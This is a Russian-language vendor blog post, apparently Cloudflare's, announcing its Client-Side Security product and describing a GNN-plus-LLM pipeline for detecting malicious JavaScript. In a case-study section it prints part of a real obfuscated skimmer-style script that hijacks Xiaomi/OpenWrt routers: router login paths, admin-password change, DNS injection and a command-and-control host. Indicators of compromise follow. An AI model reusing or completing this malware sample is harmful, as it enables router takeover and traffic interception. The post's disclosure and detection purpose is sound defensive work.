Защита от атак прямо в браузере: AI-система Cloudflare теперь для всех

Атаки с клиентским скиммингом обладают скучной суперсилой: они могут похищать данные, ничего не ломая. Страница по-прежнему загружается. Оформление заказа завершается. Всё, что нужно — всего один зловредный тег скрипта.

Если это звучит абстрактно, вот два недавних примера таких атак:

  • В январе 2026 года Sansec сообщил о кейлоггере на стороне браузера, работавшем в магазине товаров для сотрудников крупного американского банка, который собирал личные данные, учетные данные для входа и информацию о кредитных картах.

  • В сентябре 2025 года злоумышленники опубликовали вредоносные версии широко используемых npm-пакетов. Если бы эти пакеты были включены в front-end код, конечные пользователи могли бы подвергнуться краже криптовалюты прямо в браузере.

Для достижения нашей цели — построения лучшего Интернета — Cloudflare установил ключевой принцип во время нашей Birthday Week 2025: мощные функции безопасности должны быть доступны без необходимости взаимодействия с отделом продаж. В рамках достижения этой цели мы сегодня объявляем о двух ключевых изменениях:

Во-первых, Cloudflare Client-Side Security Advanced (ранее Page Shield add-on) теперь доступен для самостоятельного подключения клиентами. И во-вторых, интеллектуальный анализ угроз на основе доменов теперь предоставляется бесплатно всем клиентам с бесплатным пакетом Client-Side Security.

В этой статье мы объясним, как работает этот продукт, и выделим новую систему обнаружения на основе ИИ, предназначенную для выявления вредоносного JavaScript при минимизации ложных срабатываний. Мы также обсудим несколько практических применений этих инструментов.

Как работает Cloudflare Client-Side Security

Cloudflare Client-Side Security анализирует 3,5 миллиарда скриптов в день, защищая в среднем 2200 скриптов на корпоративную зону.

Внутренне Client-Side Security собирает эти сигналы с помощью отчетов браузера (например, Политика безопасности контента, CSP), что означает, что для начала работы вам не нужны сканеры или инструментация приложения, и нет никакого влияния на задержку ваших веб-приложений. Единственное условие — чтобы ваш трафик проходил через прокси Cloudflare.

Client-Side Security Advanced предоставляет немедленный доступ к мощным функциям безопасности:

  • Более умное обнаружение вредоносных скриптов: С использованием собственного машинного обучения, эта возможность теперь усилена оценками большой языковой модели (LLM). Подробнее об этом ниже.

  • Мониторинг изменений кода: Включено непрерывное обнаружение и мониторинг изменений кода, что необходимо для соответствия требованиям, таким как PCI DSS v4, требование 11.6.1.

  • Правила упреждающей блокировки: Воспользуйтесь преимуществами позитивных правил безопасности контента, которые поддерживаются и применяются посредством непрерывного мониторинга.

Обнаружение JavaScript со злонамеренными намерениями

Управление безопасностью на стороне клиента — это огромная проблема данных. Для средней корпоративной зоны наши системы наблюдают примерно за 2200 уникальными скриптами; меньшие бизнес-зоны часто обрабатывают около 1000. С таким объемом уже сложно справиться, но настоящая проблема — в изменчивости кода.

Примерно треть этих скриптов претерпевает обновления кода в течение любого 30-дневного окна. Если бы команда безопасности попыталась вручную утверждать каждое новое взаимодействие с DOM (объектной моделью документа) или исходящее соединение, возникающие накладные расходы парализовали бы процесс разработки.

Вместо этого наша стратегия обнаружения сосредоточена на том, что скрипт пытается сделать. Это включает работу по классификации намерений, о которой мы писали ранее. Короче говоря, мы анализируем поведение скрипта с использованием абстрактного синтаксического дерева (AST). Разбивая код на его логическую структуру, мы можем выявить шаблоны, сигнализирующие о злонамеренных намерениях, независимо от того, как код обфусцирован.

Высокая цена ложных срабатываний

Безопасность на стороне клиента работает иначе, чем активные сканеры уязвимостей, развернутые в интернете, где межсетевой экран веб-приложений (WAF) постоянно наблюдает за совпадающими сигнатурами атак. В то время как WAF постоянно блокирует массовые автоматизированные атаки, компрометация на стороне клиента (например, взлом исходного сервера или стороннего поставщика) — это редкое, но высокоэффективное событие. В корпоративной среде с тщательной проверкой поставщиков и сканированием кода такие атаки редки.

Эта редкость создает проблему. Поскольку реальные атаки происходят нечасто, обнаружения системы безопасности статистически с большей вероятностью окажутся ложными срабатываниями. Для команды безопасности эти ложные тревоги вызывают усталость и маскируют реальные угрозы. Чтобы решить эту проблему, мы интегрировали большую языковую модель (LLM) в наш конвейер обнаружения, значительно снизив уровень ложных срабатываний.

Добавление второго мнения на основе LLM для сортировки

Наш передовой механизм обнаружения — это графовая нейронная сеть (GNN). GNN особенно хорошо подходят для этой задачи: они работают с абстрактным синтаксическим деревом (AST) кода JavaScript, изучая структурные представления, которые захватывают шаблоны выполнения независимо от переименования переменных, минификации или обфускации. На языке машинного обучения, GNN изучает эмбеддинг (векторное представление) графовой структуры кода, который обобщается по синтаксическим вариациям одного и того же семантического поведения.

GNN настроена на высокую полноту (recall). Мы хотим ловить новые, zero-day угрозы. Её точность (precision) уже весьма высока: менее 0,3% от всего анализируемого трафика помечается как ложное срабатывание (FP). Однако, при масштабе Cloudflare в 3,5 миллиарда скриптов, оцениваемых ежедневно, даже уровень FP ниже 0,3% приводит к объёму ложных тревог, который может быть разрушительным для клиентов.

Основная проблема — это классическая проблема дисбаланса классов. Хотя мы можем собирать обширные образцы вредоносных программ, всё разнообразие доброкачественного JavaScript в интернете практически бесконечно. Сильно обфусцированные, но совершенно законные скрипты — такие как проверки на ботов, пиксели отслеживания, пакеты ad-tech и минифицированные сборки фреймворков — могут демонстрировать структурные паттерны, пересекающиеся с вредоносным кодом в изученном пространстве признаков GNN. Сколько бы мы ни старались охватить огромное разнообразие интересных доброкачественных случаев, модель просто не видела достаточно этого бесконечного разнообразия во время обучения.

Именно здесь большие языковые модели (LLM) дополняют GNN. LLM обладают глубоким семантическим пониманием реальных практик JavaScript: они распознают идиомы, характерные для предметной области, общие шаблоны фреймворков и могут отличать подозрительную, но безобидную обфускацию от подлинно злонамеренных намерений.

Вместо замены GNN мы разработали каскадную архитектуру классификатора:

  1. Каждый скрипт сначала оценивается GNN. Если GNN предсказывает, что скрипт доброкачественный, конвейер обнаружения немедленно завершает работу. Это влечет за собой только минимальную задержку GNN для подавляющего большинства трафика, полностью минуя более тяжелые вычисления LLM.

  2. Если GNN помечает скрипт как потенциально вредоносный (выше порога решения), скрипт передается на рассмотрение LLM с открытым исходным кодом, размещенной на Workers AI от Cloudflare, для получения второго мнения.

  3. LLM, получив контекст запроса, специализированный для безопасности, семантически оценивает намерения скрипта. Если она определяет, что скрипт доброкачественный, она отменяет вердикт GNN.

Такая двухэтапная конструкция дает нам лучшее из двух миров: высокую полноту GNN для структурных вредоносных паттернов в сочетании с широким семантическим пониманием LLM для отсеивания ложных срабатываний.

Cloudflare Client-Side Security: smarter detection, now open to everyone

Как мы объясняли ранее, наша GNN обучается на публично доступных URL-адресах скриптов, тех же самых, которые загрузил бы любой браузер. Вывод LLM во время выполнения полностью происходит внутри сети Cloudflare через Workers AI с использованием моделей с открытым исходным кодом (в настоящее время мы используем gpt-oss-120b).

В качестве дополнительной меры безопасности каждый скрипт, помеченный GNN, регистрируется в R2 Cloudflare для последующего анализа. Это позволяет нам постоянно проверять, верны ли переопределения LLM, и отлавливать любые крайние случаи, когда реальная атака могла быть случайно отфильтрована. Да, мы используем наши собственные продукты хранения для нашего собственного ML--конвейера.

Результаты наших внутренних оценок на реальном рабочем трафике убедительны. Если рассматривать весь анализируемый трафик в категории угроз JS Integrity, дополнительный слой валидации LLM сократил ложные срабатывания почти в 3 раза: снизив и так низкий уровень FP ~0,3% до ~0,1%. При оценке уникальных скриптов эффект еще более впечатляющий: уровень FP резко падает примерно в ~200 раз, с ~1,39% до всего 0,007%.

При нашем масштабе сокращение общего уровня ложных срабатываний на две трети означает, что каждый день наши клиенты получают на миллионы меньше ложных тревог. Ключевым моментом является то, что наша возможность обнаружения истинных атак (True Positive) включает резервный механизм: как отмечено выше, мы проверяем переопределения, сделанные LLM, чтобы выявить возможные реальные атаки, которые были отфильтрованы LLM.

Поскольку LLM в этом конвейере действует как высоконадежный фильтр точности, мы теперь можем позволить себе снизить порог принятия решений для GNN, делая его еще более агрессивным. Это означает, что мы выявляем новые, сильно обфусцированные истинные атаки, которые ранее оставались бы чуть ниже границы обнаружения, и все это без перегрузки клиентов ложными тревогами. На следующем этапе мы планируем продвинуться в этом еще дальше.

Поимка zero-day угроз в реальном мире: эксплуатация уязвимости маршрутизатора через core.js

Эта двухэтапная архитектура уже доказывает свою ценность в реальном мире. Совсем недавно наш конвейер обнаружения пометил новый, сильно обфусцированный вредоносный скрипт (core.js), нацеленный на пользователей в определенных регионах.

В данном случае полезная нагрузка была разработана для захвата домашних маршрутизаторов (в частности, устройств Xiaomi на базе OpenWrt). При более близком рассмотрении после деобфускации скрипт продемонстрировал значительную осведомленность о ситуации: он запрашивает конфигурацию WAN маршрутизатора (динамически адаптируя свою полезную нагрузку с использованием параметров, таких как wanType=dhcp, wanType=static и wanType=pppoe), перезаписывает настройки DNS для перенаправления трафика через китайские публичные DNS-серверы и даже пытается заблокировать законного владельца, тихо меняя пароль администратора. Вместо того чтобы напрямую компрометировать веб-сайт, он был внедрен в сессии пользователей через скомпрометированные расширения браузера.

Чтобы избежать обнаружения, основная логика скрипта была сильно минифицирована и упакована с использованием обфускатора строковых массивов — классический прием, но достаточно эффективный, чтобы традиционные платформы анализа угроз, такие как VirusTotal, на момент написания этого текста еще не сообщали об обнаружениях.

Наша GNN успешно выявила базовую вредоносную структуру, несмотря на обфускацию, а Workers AI LLM уверенно подтвердила намерения. Вот пример полезной нагрузки, показывающий целевой API маршрутизатора и попытку внедрения поддельного DNS-сервера:

const _0x1581=['bXhqw','=sSMS9WQ3RXc','cookie','qvRuU','pDhcS','WcQJy','lnqIe','oagRd','PtPlD','catch','defaultUrl','rgXPslXN','9g3KxI1b','123123123','zJvhA','content','dMoLJ','getTime','charAt','floor','wZXps','value','QBPVX','eJOgP','WElmE','OmOVF','httpOnly','split','userAgent','/?code=10&asyn=0&auth=','nonce=','dsgAq','VwEvU','==wb1kHb9g3KxI1b','cNdLa','W748oghc9TefbwK','_keyStr','parse','BMvDU','JYBSl','SoGNb','vJVMrgXPslXN','=Y2KwETdSl2b','816857iPOqmf','uexax','uYTur','LgIeF','OwlgF','VkYlw','nVRZT','110594AvIQbs','LDJfR','daPLo','pGkLa','nbWlm','responseText','20251212','EKjNN','65kNANAl','.js','94963VsBvZg','WuMYz','domain','tvSin','length','UBDtu','pfChN','1TYbnhd','charCodeAt','/cgi-bin/luci/api/xqsystem/login','http://192.168.','trace','https://api.qpft5.com','&newPwd=','mWHpj','wanType','XeEyM','YFBnm','RbRon','xI1bxI1b','fBjZQ','shift','=8yL1kHb9g3KxI1b','http://','LhGKV','AYVJu','zXrRK','status','OQjnd','response','AOBSe','eTgcy','cEKWR','&dns2=','fzdsr','filter','FQXXx','Kasen','faDeG','vYnzx','Fyuiu','379787JKBNWn','xiroy','mType','arGpo','UFKvk','tvTxu','ybLQp','EZaSC','UXETL','IRtxh','HTnda','trim','/fee','=82bv92bv92b','BGPKb','BzpiL','MYDEF','lastIndexOf','wypgk','KQMDB','INQtL','YiwmN','SYrdY','qlREc','MetQp','Wfvfh','init','/ds','HgEOZ','mfsQG','address','cDxLQ','owmLP','IuNCv','=syKxEjUS92b','then','createOffer','aCags','tJHgQ','JIoFh','setItem','ABCDEFGHJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789','Kwshb','ETDWH','0KcgeX92i0efbwK','stringify','295986XNqmjG','zfJMl','platform','NKhtt','onreadystatechange','88888888','push','cJVJO','XPOwd','gvhyl','ceZnn','fromCharCode',';Secure','452114LDbVEo','vXkmg','open','indexOf','UiXXo','yyUvu','ddp','jHYBZ','iNWCL','info','reverse','i4Q18Pro9TefbwK','mAPen','3960IiTopc','spOcD','dbKAM','ZzULq','bind','GBSxL','=A3QGRFZxZ2d','toUpperCase','AvQeJ','diWqV','iXtgM','lbQFd','iOS','zVowQ','jTeAP','wanType=dhcp&autoset=1&dns1=','fNKHB','nGkgt','aiEOB','dpwWd','yLwVl0zKqws7LgKPRQ84Mdt708T1qQ3Ha7xv3H7NyU84p21BriUWBU43odz3iP4rBL3cD02KZciXTysVXiV8ngg6vL48rPJyAUw0HurW20xqxv9aYb4M9wK1Ae0wlro510qXeU07kV57fQMc8L6aLgMLwygtc0F10a0Dg70TOoouyFhdysuRMO51yY5ZlOZZLEal1h0t9YQW0Ko7oBwmCAHoic4HYbUyVeU3sfQ1xtXcPcf1aT303wAQhv66qzW','encode','gWYAY','mckDW','createDataChannel'];
const _0x4b08=function(_0x5cc416,_0x2b0c4c){_0x5cc416=_0x5cc416-0x1d5;let _0xd00112=_0x1581[_0x5cc416];return _0xd00112;};
(function(_0x3ff841,_0x4d6f8b){const _0x45acd8=_0x4b08;while(!![]){try{const _0x1933aa=-parseInt(_0x45acd8(0x275))*-parseInt(_0x45acd8(0x264))+-parseInt(_0x45acd8(0x1ff))+parseInt(_0x45acd8(0x25d))+-parseInt(_0x45acd8(0x297))+parseInt(_0x45acd8(0x20c))+parseInt(_0x45acd8(0x26e))+-parseInt(_0x45acd8(0x219))*parseInt(_0x45acd8(0x26c));if(_0x1933aa===_0x4d6f8b)break;else _0x3ff841['push'](_0x3ff841['shift']());}catch(_0x8e5119){_0x3ff841['push'](_0x3ff841['shift']());}}}(_0x1581,0x842ab));

Это именно тот вид изощренных атак нулевого дня, которые WAF на основе статических сигнатур пропустила бы, но наш структурный и семантический AI-подход обнаруживает.

Индикаторы компрометации (IOCs)

  • URL: hxxps://ns[.]qpft5[.]com/ads/core[.]js

  • SHA-256: 4f2b7d46148b786fae75ab511dc27b6a530f63669d4fe9908e5f22801dea9202

  • Домен C2: hxxps://api[.]qpft5[.]com

Угрозовая аналитика на основе доменов — бесплатно для всех

Сегодня мы делаем угрозовую аналитику на основе доменов доступной для всех клиентов Cloudflare Client-Side Security, независимо от того, используете ли вы предложение Advanced.

В 2025 году мы наблюдали, как многие некорпоративные клиенты пострадали от клиентских атак, особенно те клиенты, которые запускают веб-магазины на платформе Magento. Эти атаки продолжались в течение дней или даже недель после их публичного раскрытия. Малые и средние компании часто не обладают ресурсами и экспертизой корпоративного уровня, необходимыми для поддержания высокого стандарта безопасности.

Предоставляя угрозовую аналитику на основе доменов всем, мы даем владельцам сайтов критически важный прямой сигнал об атаках, затрагивающих их пользователей. Эта информация позволяет им немедленно принять меры для очистки своего сайта и расследования потенциальных источников компрометации.

Чтобы начать, просто активируйте Client-Side Security с помощью переключателя в панели управления. Затем мы выделим любой JavaScript или соединения, связанные с известным вредоносным доменом.

Начните работу с Client-Side Security Advanced для PCI DSS v4

Чтобы узнать больше о ценах на Client-Side Security Advanced, посетите страницу с тарифами. Прежде чем принимать решение, мы оценим стоимость на основе ваших HTTP-запросов за последний месяц, чтобы вы точно знали, чего ожидать.